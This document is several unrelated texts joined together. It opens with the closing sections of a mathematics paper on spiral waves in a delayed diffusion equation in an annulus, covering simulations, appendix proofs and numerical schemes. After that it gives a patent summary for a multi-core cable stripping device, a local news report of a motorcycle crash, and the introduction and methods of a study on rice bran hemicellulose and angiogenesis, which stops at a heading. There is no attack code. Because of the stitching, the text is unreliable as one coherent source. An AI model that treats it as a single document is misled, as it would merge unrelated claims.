[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_mix_oblique"}](rotating_oblique_mix_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_mix_oblique"}](rotating_oblique_mix_end_alt.pdf "fig:"){width="\linewidth"}
Standing parameters
-------------------
Thanks to the reflection symmetry of the one-dimensional limit system, counter-propagating rotating waves can coexist in it in the form of a standing wave, and a suitable choice of parameters (see Table \[tab:params\]) can make this state orbitally stable. The system then demonstrates cooperative dynamics: in an uneven combination of rotating waves, they work towards balancing each other out.
The same holds true for the two-dimensional system with Neumann boundary conditions since it retains the $O(2)$ symmetry group. In Figure \[fig:standing\_mix\_neumann\], we start from a combination of waves in the initial data to see them even out as a standing wave. Meanwhile, oblique boundary conditions break the reflection symmetry and so standing wave solutions cease to exist. Cooperative mindset in conjunction with the preference of outward rotation act as checks and balances: they result in pulsating outward rotating spiral (see Figure \[fig:standing\_mix\_oblique\]).
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), Neumann boundary conditions $\alpha = 0$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,10T]$ and $[289T, 300T]$.[]{data-label="fig:standing_mix_neumann"}](standing_neumann_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), Neumann boundary conditions $\alpha = 0$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,10T]$ and $[289T, 300T]$.[]{data-label="fig:standing_mix_neumann"}](standing_neumann_end_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,10T]$ and $[289T, 300T]$.[]{data-label="fig:standing_mix_oblique"}](standing_oblique_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,10T]$ and $[289T, 300T]$.[]{data-label="fig:standing_mix_oblique"}](standing_oblique_mid_alt.pdf "fig:"){width="\linewidth"}
By a pulsating spiral we mean an uneven sum of inward and outward rotating spirals. For instance, the initial data we used is also a pulsating wave though inward rotating. The behavior of such waves is rather peculiar: they display in-phase periodic oscillations of amplitude and rotation speed; when the amplitude is high, they rotate very slowly; as the amplitude reaches its minimum, they dash in the same direction and then ‘come to a halt‘ to regain their amplitude.
Pulsating waves were observed in the two-dimensional system with Neumann boundary conditions too but only as an intermediate stage (possibly long lasting) between rotating and standing waves. But in the oblique case Figure \[fig:standing\_mix\_oblique\_amp\] shows that the amplitude and form of the pulsating wave do not change up until $t = 3000T$ they seem to be a system’s state on their own. Somewhat similar waves were described in [@LandsbergKnoblochNew1993].
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing the changes of amplitude at $[0, 3000T]$ and a snapshot at $[2989T, 3000T]$.[]{data-label="fig:standing_mix_oblique_amp"}](standing_oblique_amp.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with standing parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and mixed initial data (Table \[tab:ICparams\]). Showing the changes of amplitude at $[0, 3000T]$ and a snapshot at $[2989T, 3000T]$.[]{data-label="fig:standing_mix_oblique_amp"}](standing_oblique_end_alt.pdf "fig:"){width="\linewidth"}
Conclusion
==========
In the present paper we worked with a delayed scalar diffusion equation of nonlinear optics in a thin annulus with oblique derivative boundary conditions, aiming to predict the existence, shape, and stability properties of spiral waves based on the physical parameters of the model. Our approach consisted in passing to a limiting delayed diffusion equation on a circle, whose rotating and standing waves we can describe by computingexplicitly and in closed formthe coefficients of the Hopf bifurcation normal form. Knowing the relations between ‘one-dimensional‘ and ‘two-dimensional‘ parameters of the model, we make our predictions about two-dimensional spirals by checking the ‘one-dimensional‘ conditions. This allowed us to observe rigidly rotating spirals (corresponding to rotating one-dimensional waves) and pulsating spirals (corresponding to standing one-dimensional waves) in numerical simulations; both types of waves showed some attractivity properties.
This paper can also be seen as a proof of concept that could be applied to general scalar delayed diffusion equations (or systems of reaction-diffusion equations without delay; we just want to have a mechanism leading to a Hopf bifurcation in the limiting problem, be it delay or interactions between several components) in thin domains with oblique derivative boundary conditions. But the corresponding generalisation and rigorous justification are left for the future.
#### Acknowledgements {#acknowledgements .unnumbered}
The authors are grateful to Bernold Fielder for discussions during 11QTDE. The reported study was supported by RFBR according to the research project 18-31-00236
Assumptions for the normal form {#appendix:1}
===============================
We devote this Appendix to the verification and discussion of the assumptions that are used in [@FariaNormal2000] to study the existence of a center manifold and the properties of the normal form on it.
Proof of Theorem \[theorem:2\]
------------------------------
Let $$G:\, L^2(\Omega) \longrightarrow L^2(\Omega), \quad \mathcal{D}(G) = \lbrace u \in H^2(\Omega) : \rho u_\rho = \tan\alpha u_\phi\text{ on } \partial\Omega \rbrace, \quad Gu = -\Delta u \,, u \in \mathcal{D}(G),$$ be the linear operator associated with the oblique derivative boundary value problem in the annulus $\Omega$.
\[lemma:A1\] The following is true for the operator $G$:
1. has a discrete spectrum $\sigma(G)$;
2. is closed;
3. has compact resolvent $R(\lambda, G)$;
4. all directions in the $\lambda$-plane with the exception of the positive axis are of minimal growth, i.e. $$\| R(\lambda, G) \|_{\mathcal{L}(L^2(\Omega))} \leq \frac{M_{\arg(\lambda)}}{|\lambda|}, \quad \lambda \notin \mathbb{R_+},$$ for $|\lambda|$ large enough.
Follows from [@Agmoneigenfunctions1962 Theorem 4.4] as $G$ is associated with an absolutely elliptic regular boundary value problem.
\[lemma:A2\] The spectrum $\sigma(G)$ of G lies inside a sector $\lbrace \lambda \in \mathbb{C} : |\arg(\lambda)| \leq |\tan\alpha| \rbrace$.
The proof basically repeats the reasoning in [@KostinSherstyukovcomplex2017]. Consider an eigenvalue problem $$-\Delta u = \lambda u$$ and a matrix $$Q_\alpha =
\begin{bmatrix}
1 & -\tan\alpha \\
\tan\alpha & 1
\end{bmatrix}.$$ It is easily observed that $$-\mathrm{div}(\nabla u Q_\alpha^T) = -\Delta u = \lambda u$$ and that the boundary condition can be written as $$\frac{\partial u}{\partial (Q_\alpha^T\overrightarrow{\nu})} = 0,$$ where $\overrightarrow{\nu}$ is the outward normal. The divergence theorem then gives $$\lambda = \int_\Omega \nabla u Q_\alpha^T \nabla u^*$$ for a normalized eigenfunction $\| u \|_{L^2(\Omega)} = 1$. Then $$|\mathrm{Im}\lambda| = 2 |\tan\alpha| \left| \int_\Omega \mathrm{Im}(u_x u_y^*) \right| \leq |\tan\alpha| \| \nabla u \|^2_{L^2(\Omega)} = |\tan\alpha| \mathrm{Re}\lambda.$$
\[lemma:A3\] The operator $-G$ is sectorial and generates an analytic semigroup.
It follows from Lemma \[lemma:A1\] that $G$ is closed and that resolvent estimates hold for all rays (except for the positive axis), though with different constants. Lemma \[lemma:A2\] asserts that the spectrum $\sigma(G)$ resides in a sector; hence the resolvent $R(\lambda, G)$ is analytic in the sector’s complement and the Phragmén–Lindelöf principle gives an estimate with a uniform constant $$\| R(\lambda, G) \|_{\mathcal{L}(L^2(\Omega))} \leq \frac{M}{|\lambda|}$$ for all $|\lambda| > 0$ and $|\arg(\lambda)| > |\alpha|$. Thus $-G$ is sectorial and generates an analytic semigroup [@EngelNagelshort2006].
Lemma \[lemma:A1\] shows that $G$ has compact resolvent and Lemma \[lemma:A3\] says that it generates an analytic semigroup. The proposition follows from Theorem 5.12 of [@EngelNagelshort2006]: $G$ generates an immediately compact $C_0$-semigroup.
Linear operator acting on the delayed function
----------------------------------------------
The reasoning in [@FariaNormal2000] is based on the assumption that in the linearized functional differential equation, the delayed part is represented by a bounded linear operator. For us, this is the propagator $\mathcal{B}_{z_0}$ of the oblique derivative boundary value problem for the linear Schrödinger equation ,: $$\frac{\partial A}{\partial z} + \mathrm{i} \Delta A = 0, \quad \rho \frac{\partial A}{\partial \rho} = \tan\alpha \frac{\partial A}{\partial \phi} \text{ on } \partial \Omega, \quad \mathcal{B}_{z_0} A_0 = A(z_0; A_0).$$
Multiplying the equation by $A^*$, integrating over $\Omega$, and taking the real part, we get the “conservation” law, $$\frac{1}{2} \frac{d}{dz} \| A \|^2_{L^2(\Omega)} = \tan\alpha \left[ |\gamma_R A|^2_{H^{\nicefrac{1}{2}}(S^1)} - |\gamma_r A|^2_{H^{\nicefrac{1}{2}}(S^1)} \right],$$ where $\gamma_R$ and $\gamma_r$ are trace operators for the outer and inner circles, and $|\cdot|_{H^{\nicefrac{1}{2}}(S^1)}$ denotes a fractional Sobolev seminorm for functions on a circle: $$v = \sum_{n \in \mathbb{Z}} v_n \frac{e^{\mathrm{i} n \phi}}{\sqrt{2\pi}}, \quad \left| v \right|_{H^{\nicefrac{1}{2}}(S^1)}^2 = \quad \sum_{n \in \mathbb{Z}} n |v_n|^2.$$ The equation for the norm of the gradient can be derived similarly $$\frac{1}{2}\frac{d}{dz} \| \nabla A \|^2_{L^2(\Omega)} = \tan\alpha(1 + (\tan\alpha)^2) \left[ |\gamma_R A|^2_{H^{\nicefrac{3}{2}}(S^1)} - |\gamma_r A|^2_{H^{\nicefrac{3}{2}}(S^1)} \right].$$ If the oblique angle were equal to zero, we would have the standard conservation laws for the linear Schrödinger equation, $$\| A(z) \|_{L^2(\Omega)} = \mathrm{const}, \quad \| \nabla A(z) \|_{L^2(\Omega)} = \mathrm{const},$$ the associated semigroup would be unitary, and the propagator would be bounded. To treat the oblique case, we start with Laplacian eigenfunctions, $$\psi_{n,k} = \frac{y_{n,k}(\rho)}{I_{n,k}} \frac{e^{\mathrm{i}n \phi}}{\sqrt{2\pi}}, \quad \| \psi_{n,k} \|_{L^2(\Omega)} = 1,$$ where $$y_{n,k}(\rho) = (\zeta_{n,k}r Y_n'(\zeta_{n,k}r) - \mathrm{i}n\tan\alpha Y_n(\zeta_{n,k}))J_n(\zeta_{n,k}\rho) - (\zeta_{n,k}r J_n'(\zeta_{n,k}r) - \mathrm{i}n\tan\alpha J_n(\zeta_{n,k}))Y_n(\zeta_{n,k}\rho)$$ and $\zeta_{n,k}$ are from Subsection \[subsection:laplacian\]. The linear Schrödinger equation linearly scales eigenfunctions, so $$\frac{1}{2} \frac{d}{dz} \| \mathcal{B}_z \psi_{n,k} \|^2_{L^2(\Omega)} = \tan\alpha \| \mathcal{B}_z \psi_{n,k} \|^2_{L^2(\Omega)} \left[ |\gamma_R \psi_{n,k}|^2_{H^{\nicefrac{1}{2}}(S^1)} - |\gamma_r \psi_{n,k}|^2_{H^{\nicefrac{1}{2}}(S^1)} \right].$$ With the new notation $$\delta \psi_{n,k} = |\gamma_R \psi_{n,k}|^2_{H^{\nicefrac{1}{2}}(S^1)} - |\gamma_r \psi_{n,k}|^2_{H^{\nicefrac{1}{2}}(S^1)},$$ we can conclude that $$\| \mathcal{B}_z \psi_{n,k} \|_{L^2(\Omega)} = e^{\tan\alpha \cdot \delta\psi_{n,k}\cdot z}$$ and so whether the norm grows or diminishes depends on the sign of $\tan\alpha \cdot \delta\psi_{n,k}$.
Let us zoom in on $\delta\psi_{n,k}$. On rewriting it as $$\delta\psi_{n,k} = \frac{n}{I^2_{n,k}}\left[ |y_{n,k}(R)|^2 -|y_{n,k}(r)|^2 \right],$$ we can guess that just as $\lbrace \zeta_{n,k} \rbrace$ are separated into two qualitatively different groups with $k = 0$ and $k \geq 1$, so could be $\lbrace \delta\psi_{n,k} \rbrace$. Indeed, numerically computed eigenfunctions show that $\delta\psi_{n,k}$ are positive for $k = 0$ and negative for $k \geq 1$ (see Table \[tab:psi\_nk\]).
**Group** **Sign** **As** $n \to \infty$ **As** $k \to \infty$ **As** $\varepsilon \to 0$ **Wrt** $\alpha$
----------- ------------------------ --------------------------------------- ------------------------------------------- ------------------------------------------------- ------------------
$k = 0$ $\delta\psi_{n,0} > 0$ $\delta\psi_{n,0} = \mathcal{O}(n^3)$ $\delta\psi_{n,0} = \mathcal{O}(\varepsilon^2)$ Even
$k \geq1$ $\delta\psi_{n,k} < 0$ $\delta\psi_{n,k} = \mathcal{O}(n)$ $\delta\psi_{n,k} \approx \mathrm{const}$ $\delta\psi_{n,k} \to -2n$ Even
: Properties of $\delta\psi_{n,k}$.[]{data-label="tab:psi_nk"}
As a consequence, depending on the sign of the oblique angle, there are two cases:
**Angle** $k = 0$, $z \to +\infty$ $k \geq 1$, $z \to +\infty$
------------------ ---------------------------------------------------------------- ----------------------------------------------------------------
$\tan\alpha > 0$ $\| \mathcal{B}_z \psi_{n,0} \|_{L^2(\Omega)} \nearrow \infty$ $\| \mathcal{B}_z \psi_{n,k} \|_{L^2(\Omega)} \searrow 0$
$\tan\alpha < 0$ $\| \mathcal{B}_z \psi_{n,0} \|_{L^2(\Omega)} \searrow 0$ $\| \mathcal{B}_z \psi_{n,k} \|_{L^2(\Omega)} \nearrow \infty$
In terms of the delayed nonlinear optical system (assume $\tan\alpha > 0$), it shuns memories of radially oscillating states, while those of radially “constant” states are sustained and strengthened. Changing the sign of $\tan\alpha$ inverts the situation.
To extend our understanding from $\lbrace \psi_{n,k} \rbrace$ to other functions, we need some additional properties of them as a system of functions. The general theory says that the generalized eigenfunctions of the oblique derivative Laplacian are complete in $L^2(\Omega)$ [@Agmoneigenfunctions1962]. However, we have not proved that there are no other eigenfunctions than $\lbrace \psi_{n,k} \rbrace$, nor have we shown the absence of generalized eigenfunctions. The discussion being informal, we attempt to draw analogies from an oblique derivative boundary value problem in a disc [@IlinMoiseevabsence1994; @KostinSherstyukovBasis2018] and postulate the following:
- $\lbrace \psi_{n,k} \rbrace$ exhaust all the Laplacian eigenfunctions;
- there are no generalized eigenfunctions;
- for each $n \in \mathbb{Z}$ the subsystem $\lbrace \psi_{n,k} \rbrace_{k \geq 0}$ is a Riesz basis in $$L^2_n(\Omega)=\lbrace u \in L^2(\Omega): u = e^{\mathrm{i}n \phi} y(\rho),\,y\in L^2(r,R; \rho d\rho) \rbrace;$$
- $\lbrace \psi_{n,k} \rbrace$ constitute a basis with brackets in $L^2(\Omega)$.
The last two points mean that every $u \in L^2(\Omega)$ can be uniquely represented as a sum of mutually orthogonal functions, $$u = \sum_{n \in \mathbb{Z}} u_n, \quad u_n \in L^2_n(\Omega),$$ and that each $u_n$ in its turn can be uniquely decomposed as $$u_n = \sum_{k \geq 0} u_{n,k} \psi_{n,k} \in L^2_n(\Omega).$$ Moreover, the following frame conditions hold $$c_n \sum_{k \geq 0}|a_{k}|^2 \leq \| \sum_{k \geq 0} a_{k} \psi_{n,k} \|^2_{L^2(\Omega)} \leq C_n \sum_{k \geq 0}|a_{k}|^2, \quad \lbrace a_k \rbrace \in l^2, \quad 0 < c_n \leq C_n < \infty.$$ We can thus take a $u \in L^2(\Omega)$ and formally apply the Schrödinger propagator $\mathcal{B}_z$ to its decomposition, leading to $$\begin{aligned}
\| \mathcal{B}_z u \|^2_{L^2(\Omega)} &= \sum_{n \in \mathbb{Z}} \| \mathcal{B}_z u_n \|^2_{L^2(\Omega)} = \sum_{n \in \mathbb{Z}} \| \sum_{k \geq 0} u_{n,k} \mathcal{B}_z \psi_{n,k} \|^2_{L^2(\Omega)} \\
& \leq \sum_{n \in \mathbb{Z}} C_n \sum_{k \geq 0} |u_{n,k}|^2 e^{2\tan\alpha \cdot \delta\psi_{n,k}\cdot z} \\
& \approx \sum_{n \in \mathbb{Z}} C_n \left[ |u_{n,0}|^2 e^{2\tan\alpha M_1^2 n^3 z} + \sum_{k \in \mathbb{N}} |u_{n,k}|^2 e^{-2\tan\alpha M_2^2 n z} \right]\end{aligned}$$ This suggests that for $\mathcal{B}_z u$ to belong to $L^2(\Omega)$, $u \in L^2(\Omega)$ needs to be very smooth, and that special weighted spaces could be required to make analysis rigorous.
Numerical methods {#appendix:2}
=================
In this Appendix we shall describe the numerical methods that we used to compute the data presented in the figures.
Helmholtz equation
------------------
The first building block is the numerical solution of $$(-\Delta + c)u = f$$ in an annulus subject to oblique derivative boundary conditions. If the boundary conditions were Neumann, we could easily solve this using the Fourier method, which relies on the fact that Neumann-Laplacian eigenfunctions form an orthogonal basis in $L^2$. For oblique boundary conditions, the situation is different: it is known that the bi-orthogonal system of eigenfunctions is complete for Laplacian in a disc but is not a basis [@IlinMoiseevabsence1994]. However, a more refined property holds as this system forms a basis with brackets [@KostinSherstyukovBasis2018], which is enough to justify the Fourier method.
We can then take a uniform polar grid with $N_\rho$ and $N_\theta$ radial and angular knots, apply Fast Fourier Transform to $f$ on each angular slice, and solve a collection of tridiagonal systems of linear equations $$(A_k + cI)u_k = f_k, \qquad k = -\frac{N_\theta}{2},\ldots,\frac{N_\theta}{2}-1,$$ followed by the inverse Fast Fourier Transform. Matrices $A_k = A + P_k \in \mathbb{C}^{N_\rho \times N_\rho}$ are discretizations of the Laplacian on the corresponding harmonic, where $$A = \begin{bmatrix}
\frac{2}{\delta\rho^2} & -\frac{2}{\delta\rho^2} & 0 & \dots & 0 & 0 & 0 \\
-\frac{1}{\delta\rho^2} + \frac{1}{2\delta\rho(r + \delta\rho)} & \frac{2}{\delta\rho^2} & -\frac{1}{\delta\rho^2} - \frac{1}{2\delta\rho(r + \delta\rho)} & \dots & 0 & 0 & 0 \\
\hdotsfor{7} \\
0 & 0 & 0 & \dots & -\frac{1}{\delta\rho^2} + \frac{1}{2\delta\rho(R - \delta\rho)} & \frac{2}{\delta\rho^2} & -\frac{1}{\delta\rho^2} - \frac{1}{2\delta\rho(R - \delta\rho)}\\
0 & 0 & 0 & \dots & 0 & -\frac{2}{\delta\rho^2} & \frac{2}{\delta\rho^2} \\
\end{bmatrix}$$ and $$P_k = \mathrm{diag}\left(
\frac{k}{r^2} \left[k + \mathrm{i}\tan{\alpha}\frac{2r-\delta\rho}{\delta\rho}\right], \frac{k^2}{(r + \delta\rho)^2},
\ldots,
\frac{k^2}{(R - \delta\rho)^2},
\frac{k}{R^2} \left[k - \mathrm{i}\tan{\alpha}\frac{2R+\delta\rho}{\delta\rho}\right]
\right).$$
Linear Schrödinger equation
---------------------------
To evaluate the nonlinear term of the equation, we need to solve an initial-boundary value problem for $$\frac{\partial A}{\partial z} + \mathrm{i} \Delta A = 0, \qquad A(z = 0) = A_0$$ from $z = 0$ up until $z = z_0$. We use the following higher-order scheme to propagate along $\delta z$ $$A_{+} = \left(I + \mathrm{i} \frac{\delta z}{2} \Delta\right)^{-1} \left(I - \mathrm{i} \frac{\delta z}{2} \Delta\right) A_{-}$$ since it is crucial to have an accurate value of the nonlinearity.
Main diffusion equation
-----------------------
To make long-time simulations we use the standard implicit Euler scheme. Because of the delay, the nonlinearity need not be approximated with iterations. To produce figures for this paper, we used $N_\theta = 256$ and $N_\rho = 128$; per each delay interval $[nT, (n+1)T]$, we made $N_T = 180$ steps for rotating parameters and $N_T = 60$ for standing parameters (see Table \[tab:params\]).
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The invention relates to equipment for stripping a multi-core cable, wherein a transport unit for transport of the cable in the axial direction of the cable, a knife for desheathing the cable and a further knife for stripping the untwisted cable cores are provided.
A stripping device for multi-core cables has become known from the disclosure of WO99/52188. Cable cores are mechanically untwisted by a stripping movement and oriented parallel to one another before the cable cores are stripped by means of multiple knives. The stripping movement and the parallel orientation are achieved by means of spring-loaded, mutually opposed jaws, wherein the jaws act as resilient slide members. The cable cores execute a movement relative to the slide members whereby the untwisted cable cores are separated and oriented to be parallel before the stripping.
A disadvantage of the known equipment resides in the fact that, due to the stripping movement, forces act in the cable""s axial direction on the insulation of the cable cores which slightly stretch the insulation. After the stripping, the insulation can compress again, resulting in overly-large, material-dependent stripped lengths.
The present invention avoids the disadvantages of known equipment and presents a construction by means of which the cable cores of a cable can be untwisted and oriented in problem-free manner.
The advantages achieved by the invention are essentially to be seen in the fact that the resilient insulation is not stretched during untwisting of the cable cores. The stripped length of the cable cores does not change after the untwisting. The stripped length of the cable cores as predetermined by the stripping is maintained. Moreover, shorter desheathed lengths can be realised, because the insulation is not stretched.
The invention includes a transport unit for axial transport of the cable, a knife for desheathing the cable, means for untwisting the cores and orienting the cores parallel to each other, and a knife for stripping the cores. The cores are untwisted and oriented parallel without the application of an axial force to their installation. The untwisting and orientation may be performed by a separator which may include rollers, engage the cores and act transversely to the axial direction of the cable. |
Motorcyclist injured while avoiding collision
One person was taken to the hospital and another was cited after a motorcycle and vehicle nearly collided Tuesday afternoon.
The incident happened just before 4 p.m. at the intersection of 25th Avenue North and Seventh Street North, according to a report from the St. Cloud Police Department.
Timothy Arthur Borresch, 52, of St. Joseph was driving west on Seventh Street North when Borresch crossed in front of a motorcycle traveling north on 25th Avenue North. In an effort to avoid a collision the motorcyclist was forced to lay the bike down, according to the report.
The driver of the motorcycle, a 67-year-old St. Cloud man, suffered injuries that were not life-threatening. He was taken to St. Cloud Hospital for treatment. Borresch was cited for failing to yield the right of way.
Read or Share this story: http://www.sctimes.com/story/news/local/2014/07/09/motorcyclist-injured-avoiding-collision/12409069/ |
INTRODUCTION {#s1}
============
Angiogenesis is the process by which new capillaries sprout from existing blood vessels \[[@r1]\]. It is required in several physiological processes, including development, reproduction, and wound healing \[[@r2], [@r3]\], and is also implicated in pathological conditions such as cancer, rheumatoid arthritis, psoriasis, atherosclerosis, and retinal neovascularization \[[@r2], [@r4],[@r5],[@r6],[@r7]\]. Because tumor growth and metastasis are closely related to angiogenesis, angiogenesis inhibitors have been used for anticancer therapy.
The process of angiogenesis involves the proliferation, differentiation, migration, and tube formation of endothelial cells \[[@r1]\]. It is mainly regulated by different growth factors and their receptors \[[@r3], [@r8]\] including vascular endothelial growth factor (VEGF). Also known as VEGF-A, this dimeric glycoprotein is specific to endothelial cells and is considered one of the most important regulators of angiogenesis \[[@r9],[@r10],[@r11]\]. VEGF overexpression occurs in various tumors and contributes to tumor angiogenesis \[[@r3], [@r4], [@r11]\]. VEGF is also overexpressed in other pathological conditions such as rheumatoid arthritis and retinal neovascularization \[[@r3], [@r4], [@r11]\].
The angiogenic activity of VEGF is mediated by its binding to two tyrosine kinase receptors, VEGF receptor 1 (VEGFR1), also called Fms-like tyrosine kinase-1 (Flt-1), and VEGFR2, also called fetal liver kinase-1 (Flk-1) or kinase insert domain-containing receptor (KDR) \[[@r8], [@r10],[@r11],[@r12]\]. Several studies have revealed that the tyrosine kinase activity of VEGFR2 is much stronger than that of VEGFR1 and that the VEGF/VEGFR2 pathway plays a central role in angiogenic signaling \[[@r5], [@r13], [@r14]\]. The binding of VEGF to VEGFR2 induces dimerization and autophosphorylation of the receptor, which then leads to the phosphorylation and activation of several downstream signal transduction proteins including Akt, extracellular signal-regulated kinase (ERK)1/2, and p38 mitogen-activated protein kinase (MAPK) \[[@r8], [@r15]\]. These signaling proteins play a crucial role in regulating important cellular functions including survival, proliferation, migration, and reorganization \[[@r8], [@r9], [@r16], [@r17]\].
Modified rice bran hemicellulose (MRBH) is a water-soluble hemicellulose obtained by reacting rice bran hemicellulose with multiple carbohydrate hydrolyzing enzymes from shiitake mushrooms. The average molecular weight of MRBH is 8,000 Da, and the main chemical structure of MRBH is arabinoxylan, with a xylose in its main chain and an arabinose polymer in its side chain ([Fig. 1](#fig_001){ref-type="fig"}Fig. 1.Main chemical structure of MRBH.) \[[@r18], [@r19]\]. Previous studies have demonstrated that MRBH has immunostimulatory effects, including enhancement of natural killer (NK) cell activity both *in vitro* and *in vivo* \[[@r20],[@r21],[@r22]\], increase of the T and B cell mitogen response \[[@r18]\], augmentation of macrophage phagocytosis \[[@r23]\], and promotion of dendritic cell (DC) maturation \[[@r24],[@r25],[@r26],[@r27]\]. MRBH also protects against γ-irradiation-induced hematopoietic damage in mice \[[@r28]\] and has anti-inflammatory effects on D-galactosamine-induced hepatitis in rats \[[@r29]\] and chronic rheumatism \[[@r30]\] and irritable bowel syndrome (IBS) in humans \[[@r31]\]. In addition, the low molecular weight fraction (≤400 Da) of MRBH obtained by hydrolysis of MRBH with HCl at 100°C exhibited a stronger hepato-protective effect than MRBH in rats \[[@r29]\]. However, it remains unclear whether MRBH possesses anti-angiogenic effects. To address this possibility, we investigated the anti-angiogenic activity of MRBH in VEGF-induced angiogenesis *in vitro* by examining tube formation, proliferation, and migration. We also studied the signaling pathways of VEGFR2 and downstream signaling proteins Akt, ERK1/2, and p38 MAPK to elucidate the anti-angiogenic mechanism of MRBH.
MATERIALS AND METHODS {#s2}
=====================
Reagents
--------
Recombinant human VEGF, thiazolyl blue tetrazolium bromide (MTT), 5-bromo-4-chloro-3-indolyl phosphate/nitro blue tetrazolium (BCIP/NBT), phenylmethylsulfonyl fluoride (PMSF), and 4-(2-Aminoethyl) benzenesulfonyl fluoride hydrochloride (AEBSF) were purchased from Sigma-Aldrich Corporation (St. Louis, MO, USA). RIPA buffer and chemiluminescent substrate were obtained from Cell Signaling Technology, Inc. (Beverly, MA, USA). Dimethyl sulfoxide, sodium fluoride (NaF), and bovine serum albumin (BSA) were from Wako Pure Chemical Industries (Osaka, Japan). Bradford reagent was purchased from Bio-Rad Laboratories, Inc. (Hercules, CA, USA). MRBH, also called MGN-3 or BioBran, was provided by Daiwa Pharmaceutical Co., Ltd. (Tokyo, Japan).
Cell culture
------------
Human umbilical vein endothelial cells (HUVECs) were obtained from Lonza Walkersville, Inc. (Walkersville, MD, USA), and maintained in EGM-2 endothelial cell growth medium-2 containing EBM-2 basal medium and the contents of an EGM-2 SingleQuots kit (Lonza) at 37°C and with 5% CO~2~.
Human dermal fibroblasts (HDF) were purchased from Cell Applications, Inc. (San Diego, CA, USA). They were maintained in Eagle's minimum essential medium (Nissui, Tokyo, Japan) with 10% fetal bovine serum (FBS, Japan Bio Serum, Hiroshima, Japan) at 37°C and with 5% CO~2~.
Tube formation assay
--------------------
HUVECs and HDF were co-cultured in 24-well plates according to the method of Bishop \[[@r32]\]. The co-cultured cells were cultivated for 10 days in EGM-2 in the presence or absence of VEGF (10 ng/ml) with or without MRBH (0.3, 1, or 3 mg/ml). The medium was refreshed every 2--3 days. At the end of cultivation, the cells were fixed with 70% ice-cold ethanol. They were incubated with a mouse anti-human platelet-endothelial cell adhesion molecule-1 (PECAM-1, a specific marker of endothelial cells highly expressed at endothelial cell intercellular junctions \[[@r33]\]) antibody (Santa Cruz Biotechnology, Inc., Dallas, TX, USA) for 1 hr at 37°C and then with a goat anti-mouse IgG alkaline phosphatase-conjugated antibody (Sigma) for 1 hr at 37°C. The cells were subsequently stained with BCIP/NBT. After five randomly selected fields of each well were photographed, the area, length, joints, and paths of the tubes were quantified using Angiogenesis Image Analyzer Ver. 2 (Kurabo, Osaka, Japan).
Cell proliferation assay
------------------------
HUVEC proliferation was evaluated by estimating the viable cells using the MTT formazan production method \[[@r34]\]. Briefly, HUVECs (2 × 10^3^ cells/well) were seeded in a 96-well plate in EGM-2 and incubated at 37°C with 5% CO~2~. After 24 hr, the medium was removed, and EBM-2 with 2% FBS was added. Cells were incubated for a further 24 hr and then were subsequently incubated in fresh medium in the presence or absence of VEGF (10 ng/ml) with or without MRBH (0.3, 1, or 3 mg/ml) for 72 hr. To assay for proliferation, 10 µl MTT reagent per well was added and further incubated for 4 hr. The formazan produced was solubilized with dimethyl sulfoxide, and the absorbance of the formazan solution was measured in a microplate reader at 550 nm.
Cell migration assay
--------------------
A cell migration assay was performed using a scratch wound healing format. HUVECs were seeded onto collagen-coated 12-well plates in EGM-2 and allowed to form confluent monolayers. The cells were then washed with phosphate-buffered saline (PBS) and cultured in EBM-2 with 1% FBS for 24 hr. A scratch was created on each confluent monolayer using a 200 µl sterile pipette tip perpendicular to the bottom of the well. After washing with PBS, the cells in EBM-2 with 1% FBS were treated with vehicle (control), VEGF (10 ng/ml), or VEGF plus MRBH (0.3, 1, or 3 mg/ml) for 21 hr. The number of cells migrating into the wounded region in four randomly selected fields per well was then counted.
Western blot analysis
---------------------
Subconfluent HUVECs were starved in EBM-2 with 0.3% FBS for 17 hr. After refreshing the medium, the cells were preincubated with vehicle or MRBH (3 mg/ml) for 30 min and then incubated with or without VEGF (10 ng/ml) for 15 min. To prepare whole cell lysates, cells were lysed in RIPA buffer supplemented with 1 mM AEBSF, 50 mM NaF, and 1 mM PMSF. The supernatant was obtained by centrifuging the lysate at 16,000×*g* for 30 min at 4°C and was used for western blot analysis. Protein concentrations were measured using the Bradford protein assay. Equal amounts of total proteins were separated by sodium dodecyl sulfate polyacrylamide gel electrophoresis and then transferred to polyvinylidene difluoride membranes. The membranes were blocked with blocking buffer (5% BSA with 0.1% Tween-20 in Tris-buffered saline) for 1 hr at room temperature. After blocking, the membranes were incubated overnight at 4°C with one of the following primary antibodies: anti-VEGFR2, anti-phospho-VEGFR2 (Tyr1175), anti-Akt, anti-phospho-Akt (Ser473), anti-ERK1/2, anti-phospho-ERK1/2 (Thr202/Tyr204), anti-p38, anti-phospho-p38 (Thr180/Tyr182), or β-actin (Cell Signaling Technology). Subsequently, the membranes were incubated with alkaline phosphatase conjugated goat anti-rabbit IgG (Sigma) for 1 hr at room temperature. Specific bands were detected by the chemiluminescent substrate with an AE-9300 Ez-Capture MG chemiluminescent imaging system (ATTO, Tokyo, Japan) and analyzed by CS Analyzer 3.0 (ATTO).
Statistical analysis
